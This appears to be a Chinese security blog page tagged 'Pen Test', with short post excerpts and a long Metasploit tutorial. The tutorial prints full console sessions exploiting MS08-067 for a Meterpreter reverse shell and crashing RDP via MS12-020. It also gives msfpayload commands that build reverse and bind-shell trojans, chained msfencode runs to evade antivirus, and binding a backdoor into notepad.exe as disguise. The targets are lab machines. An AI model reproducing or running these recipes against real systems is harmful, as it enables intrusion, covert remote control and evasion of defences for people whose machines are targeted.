Showing posts with label Pen Test. Show all posts
Showing posts with label Pen Test. Show all posts

Saturday, October 30, 2021

网络安全之渗透实战学习

 

前言

本次渗透以SMB共享之SCF文件攻击为突破点,利用burp编码爆破Basic Authorization认证、smb连接的多种方法、windows用户的NTLM值破解方法、evil-winrm的运用、windows主机信息收集工具、msf运行powershell脚本、远程运行powershell脚本、PrintNightmare漏洞提权等多个知识点。

本次渗透过程从技术层面来说难度并不算很大,本文精华在于渗透过程中运用到了多个知识点,并对多种利用SMB攻击的方法作了总结,下面开始此次渗透实战之旅。

信息收集

首先进行基本的端口扫描;

Saturday, October 23, 2021

六种方法接触文本禁止复制限制, 网页文本禁止复制?不存在的!

 前言


我们在浏览网页和查找资料的时候,经常会需要复制一些网页中的文字等内容。
用来引用(说的真好听)、收藏、摘抄什么的。
麻烦的是,经常会遇到一些比较BT的网站提示内容文本无法复制?!是不是很气,这其实就是网站打开了禁止复制的权限。

Monday, March 18, 2019

【黑客入侵取证纪实】入侵服务器修改考试成绩的取证和分析



来源:信息时代的犯罪侦查,原作者:先森

“坏人”非法入侵学校的服务器,恶意修改学生考试成绩。如何对这种情况进行取证和分析。此文提供了较为详细的实践。这是一道不错的电子取证比武题目。
已知信息
被入侵的服务器IP地址:192.168.232.147
(系统时间和IP可能有不一致的情况,请忽略)
取证和分析步骤
“先森”几乎运用纯手工的七个步骤,比较完整的追踪和定位了“黑客”的行为痕迹。部分地方的知识点不适合初学者阅读,小编自行删除了。
1、被入侵服务器的数据做证据固定,包括但不限于:系统版本、IP、进程信息、登录日志、时间、日志、数据库、网站、Web访问日志等。(20分)
(1)查看系统版本的几种命令:
lsb_release -a
uname -a
cat /proc/version
(2)查看IP:

Sunday, December 23, 2018

作为白帽的你应该拥有的10个小工具

本文我将为大家列举10个作为黑客的你最值得拥有的小工具。这些工具非常适合作为你无聊时的调剂品,或是作为生日圣诞礼物送给你的白帽朋友。当然,文中提及的某些项目可能并不适合所有的渗透测试人员。譬如无线爱好者可能会对下面的天线感兴趣,因为它能够通过无线方式捕获到击键,类似于WPA2握手包的抓取。而对四轴飞行器(Quadrotor)感兴趣的人可能会更关注无人机,因为它们能够在不丢失信号的情况下飞行1-2英里,并可携带Wi-Fi Pineapple和Raspberry Pi等附加硬件。
一、Mousejack Hacking
2016年,安全公司Bastille Networks(巴士底狱)安全研究员发现,大多数无线鼠标和接收器之间的通信信号是不加密的。允许攻击者在一百米范围内控制目标计算机而无需任何的物理访问,并将他们的设备匿名配对使用流行无线键盘适配器的目标计算机进行远程击键注入(如下所示)。

我是如何走进黑客世界的?

我想给你一把打开这扇门的钥匙,而你要做的便是静静的聆听接下来的故事。挖掘 0day 一般需要掌握fuzzing,IDA Pro反汇编WinDbg调试等技术。
一点小东西
我最先接触到的是fuzzing,它所带来的自动化,让我陷入痴迷。
我从网上疯狂的查询资料(因为我之前见识过浏览器0day的威力,只需要点击一下链接,那么你的机器便会被控制),我发现了这个fuzz浏览器的工具,我把这个工具包放到了github上,大家可以自行下载,解压密码是下面图片所展示的那个。
使用前先安装图片左下角的winsdk,在安装时只勾选”Debugging Tools for Windows”一项,然后在command.txt文件里面配置python以及cmd的路径。

Wednesday, December 19, 2018

实战教你网站攻击原理及如何防御网站攻击

提到网络攻击首先我们看看两个问题。什么是网络应用程序?什么是网络威胁?
黑客
Web应用程序(aka网站)是基于客户端 - 服务器模型的应用程序。服务器提供数据库访问和业务逻辑。它托管在Web服务器上。客户端应用程序在客户端Web浏览器上运行。Web应用程序通常用Java,C#和VB.Net,PHP,ColdFusion标记语言等语言编写.Web应用程序中使用的数据库引擎包括MySQL,MS SQL Server,PostgreSQL,SQLite等.

Wednesday, December 12, 2018

2019年顶级应用安全工具

威瑞森《2018数据泄露调查报告》称,大多数黑客攻击仍是通过Web应用发起。基于此,应用测试和防护就成为了很多公司企业的首要任务。如果会利用一些精选应用安全工具,这项工作还可以完成得更轻松些。下面便为大家列出2019最佳应用安全工具,并附上各自的最有效使用场景。
本列表信息来源包括:
  • IT中央站(ITCS)安全应用测试工具列表(2018年9月),该列表基于ITCS庞大的IT专业社区个人使用体验评分得出。
  • Gartner《应用防护市场指南》(2017年6月)。
  • Gartner《应用安全测试魔力象限》(2018年3月)。
  • 持续更新的SecTools网络安全工具125强。虽然是针对网络的安全工具,但其中一些对应用测试也很有效。

渗透用的各种Python脚本搜集


渗透测试从互联网找到了入侵内网的入口点之后剩下的就内网渗透测试了。
有人说到了内网还不容易,随便拿个hscan一抓一大把弱口令。我同意这个看法,但是在我看来,内网环境复杂得多,要想精确获取自己想要的目标,要处理的内容要多得多,只有获得了必要的信息,才有的抓的目标,我认为一般内网环境中的渗透测试最难和最重要的是精确的信息收集,剩下的自然可以顺理成章的进行常规的漏洞扫描和利用。如果有一张详细的资产列表、网络规划图和对应的密码列表,就没必要渗透了,直接获取各种权限就得了,但这样的几率很小,但是也是可能的,只要时间允许,也可以做邮件监控、社工分析等,但这是另外一回事了。
Python内网渗透测试信息收集脚本v1.0(开源)


Sunday, November 4, 2018

Ossim - OpenVAS 中漏洞扫描详解




Openvas是一套开源漏洞扫描系统,如果手动搭建需要复杂的过程,花费不少人力和时间成本,此文主要针对OSSIM平台下如何以图形化方式操作漏洞扫描的过程。

准备工作:首先确保没有运行的扫描进程和任务

扫描漏洞同时升级漏洞库会导致升级失败。

Sunday, April 15, 2018

METASPLOIT基础入门


1、基础知识


1.1 简介

Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
Metasploit Framework最初是 HD Moore 个人的想法,当时他在一家安全公司工作,他于2003年10月发布了第一个基于Perl的Metasploit版本,一开始只有共11个漏洞利用程序。后来随着Spoonm帮助和加入,HD发布于2004年4月重写了该项目并发布了Metasploit2.0。此版本包括19个漏洞和超过27个payload。在这个版本之发布后不久,马特米勒(Skape)加入了Metasploit的开发团队,使得该项目日益流行,Metasploit Framework也收到来自信息安全界的大力支持,并迅速成为一个渗透测试必备的工具。
在2004年8月HD Moore 和 Spoonm 等4名年轻人在black hat会议上首次公布了该项目,Metasploit的团队在2007年使用Ruby编程语言完全重写并发布了Metasploit3.0,这次Metasploit从Perl到Ruby的迁移历时18个月,增加超过15万行的新代码。随着3.0版本的发布,Metasploit开始被广泛的采用,在整个安全社区也受到了大幅增加的帮助和贡献。 请输入图片描述
在2009年秋季,Rapid7收购了Metasploit,Rapid7是一个在漏洞扫描领域的领导者公司,被收购之后,Rapid7公司允许HD建立一个团队,仅仅着重于Metasploit Framework的开发。也正由于这样,这次收购使得Metasploit Framework开始更迅速地发展。HD Moore也成为了Rapid7公司的CSO(Chief Security Officer),同时他也是Metasploit的首席架构师。

1.2 专业术语

渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
监听器(Listener),是Metasploit中用来等待网络连接的组件。

1.3 用户接口

终端(Msfconsole),是Metasploit框架最受欢迎的用户接口,提供与用户交互式的输入,可以用它来做任何事情。 启动终端:在命令行里输入msfencode即可。
light@kali:~# msfconsole
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
 
I love shells --egypt
 
 
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
 
       =[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101 api:1.0.0]]
+ -- --=[ 1331 exploits - 722 auxiliary - 214 post        ]
+ -- --=[ 340 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
 
msf >
命令行(msfcli),msfcli脚本处理和其他命令工具的互操作性。 Armitage,Metasploit框架中一个完全交互式的图形化用户接口。

1.4 功能程序

MSF攻击载荷生成器(msfpayload),用于生成自己定制的shellcode、可执行代码等。
MSF编码器(msfencode),帮助msfpayload进行编码处理,避免坏字符,以及逃避杀毒软件和IDS的检测。

2、Metasploit实验


2.1 MS12-020漏洞利用演示实验

2.1.1 微软关于MS12-020漏洞的安全公告: http://technet.microsoft.com/zh-cn/security/bulletin/ms12-020
2.1.2 实验准备工作
1、该漏洞利用远程桌面的漏洞进行攻击,所以需要靶机xp系统打开远程桌面功能。
2、检查确定渗透测试系统与靶机系统可以互相ping通。
2.1.3 实验步骤 1、渗透测试系统中,在终端输入msfconsole进入msf终端,接着在msf终端中使用search功能搜索ms12-020,发现有两个可用模块:
msf > search ms12-020
 
Matching Modules
================
   Name                                              Disclosure Date  Rank    Description
   ----                                              ---------------  ----    -----------
   auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16       normal  MS12-020 Microsoft Remote Desktop Use-After-Free DoS
   auxiliary/scanner/rdp/ms12_020_check                               normal  MS12-020 Microsoft Remote Desktop Checker
2、使用use命令选定要利用的模块:
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) 
3、查看需要填写的参数,这里需要填写靶机ip。
msf auxiliary(ms12_020_maxchannelids) > show options 
 
Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3389             yes       The target port
 
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.116.129
RHOST => 192.168.116.129
4、最后输入命令“run”,执行我们的auxiliary攻击模块:
msf auxiliary(ms12_020_maxchannelids) > run
 
[*] 192.168.116.129:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.116.129:3389 - 210 bytes sent
[*] 192.168.116.129:3389 - Checking RDP status...
[+] 192.168.116.129:3389 seems down
[*] Auxiliary module execution completed
5、靶机系统受到攻击后蓝屏

2.2 MS08-067漏洞利用演示实验

2.2.1 微软关于MS18-067漏洞的安全公告:
2.2.2 实验步骤
1、进入msf终端后,使用search功能搜索ms08-067,发现有一个可用模块:
msf > search ms08-067
 
Matching Modules
================
 
   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption
2、使用use命令选定要利用的模块:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
3、接下来,light教授设置攻击载荷为基于Windows系统的Meterpreter reverse_tcp ,这个载荷在攻击之后,会从目标主机发起一个反弹连接,连接到LHOST中指定的IP地址(也就是我们俗称的反弹马)。这种反弹连接可以让你绕过防火墙的入站流量保护,或者穿透NAT网关。
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
4、使用“show targets”命令让我们识别和匹配目标操作系统的类型。(大多数MSF渗透攻击模块会自动对目标系统类型进行识别,而不需要手工指定此参数,但是针对MS08-067漏洞的攻击中,通常无法正确的自动识别出系统类型。)
msf exploit(ms08_067_netapi) > show targets 
 
Exploit targets:
 
   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (AlwaysOn NX)
   4   Windows XP SP2 English (NX)
   5   Windows XP SP3 English (AlwaysOn NX)
   6   Windows XP SP3 English (NX)
   7   Windows 2003 SP0 Universal
   8   Windows 2003 SP1 English (NO NX)
   9   Windows 2003 SP1 English (NX)
   10  Windows 2003 SP1 Japanese (NO NX)
   11  Windows 2003 SP2 English (NO NX)
   12  Windows 2003 SP2 English (NX)
   13  Windows 2003 SP2 German (NO NX)
   14  Windows 2003 SP2 German (NX)
   15  Windows XP SP2 Arabic (NX)
   16  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
   17  Windows XP SP2 Chinese - Simplified (NX)
   ......
5、选定系统编号(TARTGET),设置靶机IP(RHOST)与本机IP(LHOST)
msf exploit(ms08_067_netapi) > set TARGET 17
TARGET => 17
msf exploit(ms08_067_netapi) > set RHOST 192.168.116.129
RHOST => 192.168.116.129
msf exploit(ms08_067_netapi) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
6、使用“show options”命令查看当前参数设置情况:
msf exploit(ms08_067_netapi) > show options 
 
Module options (exploit/windows/smb/ms08_067_netapi):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.116.129  yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.116.128  yes       The listen address
   LPORT     4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   17  Windows XP SP2 Chinese - Simplified (NX)
7、参数检查无误后,输入“exploit”对靶机进行攻击。当返回meterpreter提示符表示利用成功。
msf exploit(ms08_067_netapi) > run
 
[*] Started reverse handler on 192.168.116.128:4444 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.116.129
[*] Meterpreter session 1 opened (192.168.116.128:4444 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400
8、可以利用vnc对靶机进行图形化远程控制,命令:run vnc 。Meterpreter还有很多强大的功能,我们将在后续的章节详细介绍。



3、Meterpreter


3.1 简介

Metasploitv4之后的新版本中,Meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。
涉及范围: 信息搜集、口令攫取、权限提升、内网拓展等。

3.2 Meterpreter技术优势

1、平台通用性 提供了各种主流操作系统和平台上的meterpreter版本,包括windows、linux、BSD,并同时支持x86和x64平台。另外还提供基于java和php语言的实现,以应对各种不同环境。
2、纯内存工作模式 工作时直接装载meterpreter的动态链接库到目标进程空间,而不是先上传到磁盘,再调用loadlibrary加载动态链接库启动。这样启动隐蔽,很难被杀毒软件检测到,也不会再目标主机磁盘留下任何痕迹。
3、灵活且加密的通信协议 采用TLV(type length value)数据封装格式;通信数据经过XOR加密,然后调用OpenSSL库进行SSL封装传输,保证传输的保密和隐蔽性。
4、易于扩展 Meterpreter的插件以动态链接库文件的形式存在,可以选择你喜欢的编程语言按照Meterpreter的接口形式编写你需要的功能,然后编译成动态链接库,拷贝至相应目录即可。

3.3 Meterpreter常用命令

1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令)
background(进程隐藏至后台)

sessions(查看已经成功获取的会话,-i 恢复会话)

quit(关闭当前会话)

shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)

irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)
2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑)
cat(目标系统文件交互)

getwd(获取目标机当前工作目录,getlwd本地当前工作工作目录)

upload(上传文件或文件夹到目标机 -r 递归)

download(从目标机下载文件或文件夹 -r 递归)

edit(调用vi编辑器,对目标上的文件进行编辑)

search(对目标机的文件进行搜索)
3、网络命令(查看目标网络状况、连接信息,进行端口转发等)
ipconfig(获取目标主机上的网络接口信息)

portfwd(端口转发:将目标主机开放但不允许访问的端口进行转发)

route(显示目标主机路由信息)
4、系统命令(查看目标系统信息、对系统进行基本操作等)
ps(查看目标机正在运行的进程信息)

migrate(将meterpreter会话进程迁移到另一个进程内存空间)

execute(在目标机上执行文件)

getpid(当前会话所在进程的pid值)

kill(终结指定的pid程序)

getuid(获取当前会话用户名)

sysinfo(获取系统信息)

shutdown(关闭目标主机)
5、用户接口命令
screenshot(截获被控主机当前桌面)

3.4 后渗透模块

MetasploitV4.0正式引入后渗透模块,其格式与渗透攻击模块相统一,位于post/ 目录下,用于实现特殊或定制的功能。
Meterpreter在渗透测试中的范围:
范围包括:权限提升、信息窃取、口令攫取和利用、内网拓展、掩踪灭迹、维持访问。

4、攻击载荷(Msfpayload)


4.1 简介

攻击载荷(msfpayload)是我们期望目标系统在被渗透攻击后去执行的代码,在metasploit框架中可以自由的选择、传送和植入。
使用命令“msfpayload -l”可以查看攻击载荷列表:
light@kali:~# msfpayload -l
 
Framework Payloads (340 total)
==============================
 
    Name                                             Description
    ----                                             -----------
    aix/ppc/shell_bind_tcp                           Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                          Spawn a shell on an established connection
    aix/ppc/shell_interact                           Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
    android/meterpreter/reverse_http                 Run a meterpreter server on Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                Run a meterpreter server on Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                  Run a meterpreter server on Android. Connect back stager
    android/shell/reverse_http                       Spawn a piped command shell (sh). Tunnel communication over HTTP
    android/shell/reverse_https                      Spawn a piped command shell (sh). Tunnel communication over HTTPS
    android/shell/reverse_tcp                        Spawn a piped command shell (sh). Connect back stager
    bsd/sparc/shell_bind_tcp                         Listen for a connection and spawn a command shell
    bsd/sparc/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
    bsd/x86/exec                                     Execute an arbitrary command
    bsd/x86/metsvc_bind_tcp                          Stub payload for interacting with a Meterpreter Service
    bsd/x86/metsvc_reverse_tcp                       Stub payload for interacting with a Meterpreter Service
    bsd/x86/shell/bind_ipv6_tcp                      Spawn a command shell (staged). Listen for a connection over IPv6
    bsd/x86/shell/bind_tcp                           Spawn a command shell (staged). Listen for a connection
    bsd/x86/shell/find_tag                           Spawn a command shell (staged). Use an established connection
    bsd/x86/shell/reverse_ipv6_tcp                   Spawn a command shell (staged). Connect back to the attacker over IPv6
    bsd/x86/shell/reverse_tcp                        Spawn a command shell (staged). Connect back to the attacker
    bsd/x86/shell_bind_tcp                           Listen for a connection and spawn a command shell
    bsd/x86/shell_bind_tcp_ipv6                      Listen for a connection and spawn a command shell over IPv6
    bsd/x86/shell_find_port                          Spawn a shell on an established connection
    bsd/x86/shell_find_tag                           Spawn a shell on an established connection (proxy/nat safe)
    bsd/x86/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
    bsd/x86/shell_reverse_tcp_ipv6                   Connect back to attacker and spawn a command shell over IPv6
    ....
 

4.2 利用msfpayload生成meterpreter反弹木马实验

1、下面我们利用msfpayload生成一个windows下运行的反弹meterpreter木马,命令为:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe
light@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 287
Options: {"LHOST"=>"192.168.116.128", "LPORT"=>"10086"}
参数解释:msfpayload后面跟生成木马所选用的攻击载荷,后面在加上攻击载荷所需要的参数(上例中需要设置的是本地系统的IP与端口),“X”表示生成可执行文件,“>”号后面跟自定义的生成文件的路径与文件名。
2、可以检查一下文件属性,看到是有效的windows可执行程序:
light@kali:~# file Desktop/muma01.exe 
Desktop/muma01.exe: PE32 executable (GUI) Intel 80386, for MS Windows
3、在本地渗透测试系统中进入msfconsole并开启监听:
use exploit/multi/handler
,然后指定要监听的的攻击载荷类型:
set PAYLOAD windows/meterpreter/reverse_tcp
,最后设置好对应的参数,开启监听。
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
msf exploit(handler) > set LHOST 10086
LHOST => 10086
msf exploit(handler) > exploit 
 
[*] Started reverse handler on 192.168.116.128:10086
[*] Starting the payload handler...
4、在我们的windows靶机下打开刚才由msfpayload生成的木马文件。
5、在渗透测试系统的msfconsole中看到反弹马已经成功返回meterpreter,实验成功!
msf exploit(handler) > exploit
 
[*] Started reverse handler on 192.168.116.128:10086 
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.116.129
[*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400
 
meterpreter >

4.3 直连型木马(bind_tcp)生成实验

实验之前我们先用一张图简单展示一下反弹型与直连型木马的区别。
请输入图片描述
1、使用msfpayload生成一个windows下运行的直连型meterpreter木马,命令:
msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe
因为是直连,所以参数里的IP是靶机IP(RHOST),这里要注意区分。
light@kali:~# msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
 Length: 295
Options: {"RHOST"=>"192.168.198.224", "LPORT"=>"10086"}
2、设置监听(注意参数)
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
msf exploit(handler) > set LHOST 10086
LHOST => 10086
msf exploit(handler) > exploit 
 
[*] Starting the payload handler...
[*] Started bind handler
3、靶机运行木马后,攻击端成功连接。
[*] Starting the payload handler...
[*] Started bind handler 
[*] Sending stage (769536 bytes) to 192.168.116.129
[*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400
 
meterpreter >

5、MSF编码(Msfencode)


5.1 简介

Msf编码器是一个非常实用的工具,它能够改变可执行文件中的代码形状,让杀毒软件认不出它原来的样子,而程序的功能不会受到任何影响。和电子邮件附件使用Base64重新编码类似,msf编码器将原始的可执行程序重新编码,并生成一个新的二进制文件。当这个文件运行后,msf编码器会将原始程序解码到内存中并执行。
使用命令“msfencode -h”可以查看msfencode参数说明,“msfencode -l”可以查看msf编码器列表。
light@kali:~# msfencode -l
 
Framework Encoders
==================
 
    Name                          Rank       Description
    ----                          ----       -----------
    cmd/generic_sh                good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

5.2 MSFENCODE编码实验

1、生成一个经过msfencode编码的木马文件:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -t exe > Desktop/muma_encode.exe
参数解释 “R”:输出原始数据 “|” : 分割符 “-e”:指定编码器类型 “-t”:输出文件类型 “>”:指定生成文件名(可以用“-o”参数替代)
2、多重编码 单纯的一次msfencode编码现在已经很难绕过杀软,在掌握了上面基本的编码技巧后,我们学习一下msfencode的多重编码。 在Metasploit框架中,允许我们使用多重编码技术来对攻击载荷(msfpayload)进行多次编码,以绕过杀软的特征码检查。 生成一个经过多次msfencode编码的木马文件:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/jmp_call_additive -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 7 -t raw | msfencode -e x86/shikata_ga_nai -c 2 -t exe -o Desktop/muma_multiEncode.exe
参数解释 “-c”:使用当前编码器编码的次数 “raw”:以原始数据类型输出 “-o”:指定生成的文件名
注意:过多次的使用msfencode混合编码虽然绕过杀软检测的效果更好,但同时也有导致木马文件无法正常运行的可能。所以建议在编码后先对所生成文件的可用性进行检查。 请输入图片描述
3、伪装你的木马文件 大多数情况下,当被攻击的用户运行类似我们上面生成的包含后门的可执行文件时,因为什么都没有发生,这很可能会引起用户的怀疑。为了避免被目标察觉,我们可以在启动攻击载荷的同时,捆绑一个宿主程序,让木马达到伪装的效果。 这里使用windows下著名的文本编辑器notepad.exe(32位)程序作宿主程序来进行演示,notepad.exe文件可以在网上下载或者直接从windows系统的c:\windows\system32路径下拷贝出来。
以下生成的木马文件在受攻击端打开时会启动正常的notepad文本编辑器,同时后门程序会在另一个独立进程中执行,连回攻击端。并且具备一定的免杀能力。
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -x Desktop/notepad.exe -k -t exe -o Desktop/muma_notepad.exe
请输入图片描述 捆绑宿主程序
请输入图片描述 运行时启动宿主程序,起到伪装效果
请输入图片描述 生成的文件具备一定免杀能力
参数解释 “-x”: 绑定木马到制定程序 “-k”: 配置攻击载荷在独立的线程中启动
注意 “-k”参数会配置攻击载荷在一个独立的线程中启动,这样宿主程序在执行时不会受到影响,但此参数不一定能用在所有可执行程序上,实际攻击前请确保你已经在实验环境中进行了测试。

6、辅助模块(Auxiliary)


6.1 简介

Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。这些模块可以分为Admin、Scanner、Server三个大类。
Admin Admin HTTP Modules Admin MSSQL Modules Admin MySQL Modules Admin Postgres Modules Admin VMWare Modules
Scanner DCERPC Discovery FTP HTTP IMAP MSSQL MySQL NetBIOS POP3 SMB SMTP SNMP SSH Telnet TFTP VMWare VNC
Server Server Capture Modules

6.2 SYN端口扫描实例

1、进入msfconsole之后,使用auxiliary的syn扫描模块“use auxiliary/scanner/portscan/syn”,接着检查参数情况“show options”,设置必填参数“set RHOSTS 192.168.198.110,120,221-224”,运行“run”。
Tips:多IP参数设置方法 Nmap、Metasploit等工具经常会遇到多ip设置,其语法为: 一个ip段,使用“-”来表示,如192.168.1.20到192.168.1.35可以表示为“192.168.1.20-35”;多个不连续的ip可以用“,”分隔开,如192.168.1.55和192.168.1.66两个不连续ip可以用“192.168.1.55,66”来表示。

YouTube Channel